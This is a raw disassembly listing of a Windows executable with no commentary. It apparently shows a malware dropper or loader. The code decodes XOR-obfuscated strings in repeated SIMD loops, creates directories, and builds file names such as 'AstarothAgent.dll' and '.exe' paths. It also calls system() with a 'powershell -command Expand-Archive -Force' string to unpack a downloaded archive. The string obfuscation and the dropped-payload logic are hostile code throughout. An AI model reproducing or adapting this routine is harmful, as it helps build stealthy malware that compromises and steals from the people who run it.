add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x1400413c0
lea r9, [rsp + 0x40]
mov edx, 3
mov r8d, 0xbb8
lea rcx, [rbp + 0x2660]
call fcn.14003bc00
mov rax, qword [0x14017a050]
cmp rax, qword [0x14017a058]
je 0x140041441
mov r8d, 0x2010
lea rdx, [rbp + 0x2660]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14017a050], 0x2010
jmp 0x140042f88
lea r8, [rbp + 0x2660]
mov rdx, rax
call fcn.1400486a0
jmp 0x140042f88
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0xd8]
call fcn.14003ec30
nop
mov r8d, 5
lea rdx, str.mods
mov rcx, rax
call fcn.140046e40
xorps xmm0, xmm0
movups xmmword [rbp + 0x238], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x248], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x238], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x248], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0x10
jb 0x1400414fb
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400414f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400414f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0xe8], xmm0
mov byte [rbp + 0xd8], 0
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x98]
call fcn.14003ec30
nop
mov r8, rdi
lea rdx, str.MTA
mov rcx, rax
call fcn.140046e40
xorps xmm0, xmm0
movups xmmword [rbp + 0x218], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x228], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x218], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x228], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x1400415b5
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400415b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400415b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0xa8], xmm0
mov byte [rbp + 0x98], 0
lea rcx, [rbp + 0x218]
call fcn.14003d570
lea rcx, [rbp + 0x238]
call fcn.14003d570
mov edx, 8
mov ecx, edi
call fcn.14003ede0
mov edx, eax
lea rcx, [rbp + 0x2f8]
call fcn.14003cfc0
mov rbx, rax
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0xf8]
call fcn.14003ec30
nop
mov r8d, 1
lea rdx, [0x14016f998]
mov rcx, rax
call fcn.140046e40
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r9, rbx
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x378]
call fcn.140048020
nop
mov r8, rdi
lea rdx, str..zip
lea rcx, [rbp + 0x378]
call fcn.140046e40
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x168], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x158], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x168], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x390]
cmp rdx, 0x10
jb 0x1400416ef
inc rdx
mov rcx, qword [rbp + 0x378]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400416ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400416ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x388], xmm0
mov byte [rbp + 0x378], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140041745
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004173f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004173f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
nop
mov rdx, qword [rbp + 0x110]
cmp rdx, 0x10
jb 0x140041789
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041784
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041784
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x108], xmm0
mov byte [rbp + 0xf8], 0
mov rdx, qword [rbp + 0x310]
cmp rdx, 0x10
jb 0x1400417e4
inc rdx
mov rcx, qword [rbp + 0x2f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400417df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400417df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x308], xmm0
movups xmm1, xmmword [0x140170790]
movups xmm0, xmmword [0x140170780]
movups xmmword [rsp + 0x50], xmm1
movups xmmword [rsp + 0x40], xmm0
mov eax, dword [0x1401707c0]
movups xmm1, xmmword [0x1401707b0]
movups xmm0, xmmword [0x1401707a0]
mov dword [rbp - 0x80], eax
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x60], xmm0
mov byte [rbp + 0x2f8], 0
mov r8d, r12d
cmp r14d, 2
jl 0x140041961
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm9, xmmword [0x140170d30]
lea rcx, [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x140041870
cmp r8d, 0x22
jge 0x1400419a4
movsxd rax, r8d
lea r9, [rsp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x22
jl 0x140041970
lea rdx, [rbp + 0x158]
lea rcx, [rsp + 0x40]
call fcn.14003d280
test al, al
jne 0x140041bad
movups xmm0, xmmword [0x140170600]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140170610]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140170620]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x140170630]
mov dword [rsp + 0x70], eax
mov r8d, r12d
cmp r14d, 2
jl 0x140041b37
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140041a30
cmp r8d, 0x34
jge 0x140041b80
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x34
jl 0x140041b50
lea r9, [rsp + 0x40]
mov edx, 3
mov r8d, 0xbb8
lea rcx, [rbp + 0x2660]
call fcn.14003bc00
lea rcx, [rbp + 0x2660]
call fcn.14003bce0
jmp 0x140042e70
lea rdx, [rbp + 0xb8]
lea rcx, [rbp - 0x20]
call fcn.14003ec30
mov rbx, rax
lea r8, [rbp + 0x158]
lea rdx, str.powershell__command__Expand_Archive__Force_
lea rcx, [rbp + 0x278]
call fcn.140047730
nop
lea r8, [0x14016fb08]
mov rdx, rax
lea rcx, [rbp + 0xd8]
call fcn.1400471a0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.140047330
nop
lea r8, [0x14016fb04]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400471a0
mov rcx, rax
call fcn.1400468a0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x40]
call fcn.1400468f0
nop
lea rcx, [rbp + 0x98]
call fcn.1400468f0
nop
lea rcx, [rbp + 0xd8]
call fcn.1400468f0
nop
lea rcx, [rbp + 0x278]
call fcn.1400468f0
nop
lea rcx, [rbp - 0x20]
call fcn.1400468f0
lea rcx, [rbp + 0x158]
call fcn.14003d4e0
lea rcx, [rbp + 0x1b8]
call fcn.14003d0a0
nop
mov edx, 0x14
lea ecx, [rdx - 0xa]
call fcn.14003ede0
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.14003cfc0
nop
mov r8, rax
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x138]
call fcn.140047210
nop
lea rcx, [rsp + 0x40]
call fcn.1400468f0
lea rdx, [rbp + 0x4700]
lea rcx, [rbp + 0x138]
call fcn.1400468b0
mov r8, qword [rax]
lea rdx, [rbp + 0x4708]
lea rcx, [rbp + 0x138]
call fcn.1400468d0
mov rdx, qword [rax]
lea rcx, [rbp + 0x520]
call fcn.1400473b0
nop
lea rcx, [rbp + 0x520]
call fcn.1400466d0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140041f0d
movups xmm0, xmmword [0x1401708e0]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1401708f0]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140170900]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x140170910]
mov dword [rsp + 0x70], eax
movzx eax, byte [0x140170914]
mov byte [rsp + 0x74], al
mov r8d, r12d
cmp r14d, 2
jl 0x140041e97
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140041d90
cmp r8d, 0x35
jge 0x140041ee0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140041eb0
lea r9, [rsp + 0x40]
mov edx, 3
mov r8d, 0xbb8
lea rcx, [rbp + 0x2660]
call fcn.14003bc00
lea rcx, [rbp + 0x2660]
call fcn.14003bce0
jmp 0x140042e49
mov edx, 0xf
lea ecx, [rdx - 0xa]
call fcn.14003ede0
mov edx, eax
lea rcx, [rbp + 0x98]
call fcn.14003cfc0
mov rbx, rax
lea r8, [0x14016f998]
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0xf8]
call fcn.140047130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140047330
nop
lea r8, str..exe
mov rdx, rax
lea rcx, [rbp + 0x3f8]
call fcn.1400471a0
nop
lea rcx, [rsp + 0x40]
call fcn.1400468f0
nop
lea rcx, [rbp + 0xf8]
call fcn.1400468f0
nop
lea rcx, [rbp + 0x98]
call fcn.1400468f0
lea r8, str.AstarothAgent.dll
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x4a0]
call fcn.140047130
nop
mov edx, 0x17
lea ecx, [rdx - 0xf]
call fcn.14003ede0
mov edx, eax
lea rcx, [rbp + 0x98]
call fcn.14003cfc0
mov rbx, rax
lea r8, [0x14016f998]
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0xf8]
call fcn.140047130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140047330
nop
lea r8, str..dll
mov rdx, rax
lea rcx, [rbp + 0x500]
call fcn.1400471a0
nop
lea rcx, [rsp + 0x40]
call fcn.1400468f0
nop
lea rcx, [rbp + 0xf8]
call fcn.1400468f0
nop
lea rcx, [rbp + 0x98]
call fcn.1400468f0
mov edx, 0xd
lea ecx, [rdx - 0xa]
call fcn.14003ede0
mov edx, eax
lea rcx, [rbp - 0x20]
call fcn.14003cfc0
mov rbx, rax
lea r8, [0x14016f998]
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x278]
call fcn.140047130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xd8]
call fcn.140047330
nop
lea r8, str..exe
mov rdx, rax
lea rcx, [rbp + 0x458]
call fcn.1400471a0
nop
lea rcx, [rbp + 0xd8]
call fcn.1400468f0
nop
lea rcx, [rbp + 0x278]
call fcn.1400468f0
nop
lea rcx, [rbp - 0x20]
call fcn.1400468f0
movups xmm0, xmmword [0x140170920]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140170930]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140170940]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140170950]
movups xmmword [rsp + 0x70], xmm1
movzx eax, word [0x140170960]
mov word [rbp - 0x80], ax
mov r8d, r12d
cmp r14d, 2
jl 0x140042221
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm9, xmmword [0x140170d30]
lea rcx, [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x140042130
cmp r8d, 0x21
jge 0x140042264
movsxd rax, r8d
lea r9, [rsp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x21
jl 0x140042230
lea rdx, [rbp + 0x3f8]
lea rcx, [rsp + 0x40]
call fcn.14003d280
test al, al
je 0x140042c10
movups xmm0, xmmword [0x140170970]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140170980]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140170990]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x1401709a0]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x1401709b0]
movups xmmword [rbp - 0x80], xmm0
movsd xmm1, qword [0x1401709c0]
movsd qword [rbp - 0x70], xmm1
movzx eax, word [0x1401709c8]
mov word [rbp - 0x68], ax
mov r8d, r12d
cmp r14d, 2
jl 0x140042401
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm9, xmmword [0x140170d30]
lea rcx, [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x140042310
cmp r8d, 0x2d
jge 0x140042444
movsxd rax, r8d
lea r9, [rsp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x2d
jl 0x140042410
lea rdx, [rbp + 0x4a0]
lea rcx, [rsp + 0x40]
call fcn.14003d280
test al, al
je 0x140042c10
movups xmm0, xmmword [0x14016fc80]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x14016fc90]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x14016fca0]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x14016fcb0]
movups xmmword [rsp + 0x70], xmm1
movsd xmm0, qword [0x14016fcc0]
movsd qword [rbp - 0x80], xmm0
mov eax, dword [0x14016fcc8]
mov dword [rbp - 0x78], eax
mov r8d, r12d
cmp r14d, 2
jl 0x1400425d1
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm9, xmmword [0x140170d30]
lea rcx, [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x1400424e0
cmp r8d, 0x26
jge 0x140042614
movsxd rax, r8d
lea r9, [rsp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x26
jl 0x1400425e0
lea rdx, [rbp + 0x500]
lea rcx, [rsp + 0x40]
call fcn.14003d280
test al, al
je 0x140042c10
movups xmm0, xmmword [0x140170810]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140170820]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140170830]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140170840]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x140170850]
movups xmmword [rbp - 0x80], xmm0
mov eax, dword [0x140170860]
mov dword [rbp - 0x70], eax
mov r8d, r12d
cmp r14d, 2
jl 0x1400427a1
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm9, xmmword [0x140170d30]
lea rcx, [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
